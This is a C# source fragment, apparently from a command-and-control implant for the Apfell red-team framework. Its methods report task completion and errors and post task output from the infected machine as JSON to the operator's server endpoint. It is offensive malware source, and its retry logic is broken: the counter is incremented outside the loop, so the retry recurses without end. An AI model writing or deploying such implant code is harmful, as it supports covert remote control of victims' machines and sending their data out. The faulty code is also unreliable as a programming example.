public void SendComplete(string taskId)
{
Debug.WriteLine($"[+] SendComplete - Sending task complete for {taskId}");
SCTaskResp completeResponse = new SCTaskResp(taskId, "{\"completed\": true}");
this.PostResponse(completeResponse);
}
public void SendError(string taskId, string error)
{
Debug.WriteLine($"[+] SendError - Sending error for {taskId}: {error}");
SCTaskResp errorResponse = new SCTaskResp(taskId, "{\"completed\": true, \"status\": \"error\", \"user_output\": \"" + error + "\"}");
this.PostResponse(errorResponse);
}
/// <summary>
/// Post a response to the Apfell endpoint
/// </summary>
/// <param name="taskresp">The response to post to the endpoint</param>
/// <returns>String with the Apfell server's reply</returns>
public string PostResponse(SCTaskResp taskresp)
{
string endpoint = this.endpoint + "responses/" + taskresp.id;
try // Try block for HTTP requests
{
// Encrypt json to send to server
string json = JsonConvert.SerializeObject(taskresp);
string result = HTTP.Post(endpoint, json);
Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.id}: {result}");
if (result.Contains("success"))
{
// If it was successful, return the result
return(result);
}
else
{
// If we didn't get success, retry and increment counter
while (retry < 20)
{
Debug.WriteLine($"[!] PostResponse - ERROR: Unable to post task response for {taskresp.id}, retrying...");
Thread.Sleep(this.sleep);
this.PostResponse(taskresp);
}
retry++;
throw (new Exception("[!] PostResponse - ERROR: Retries exceeded"));
}
}
catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
{
return(e.Message);
}
}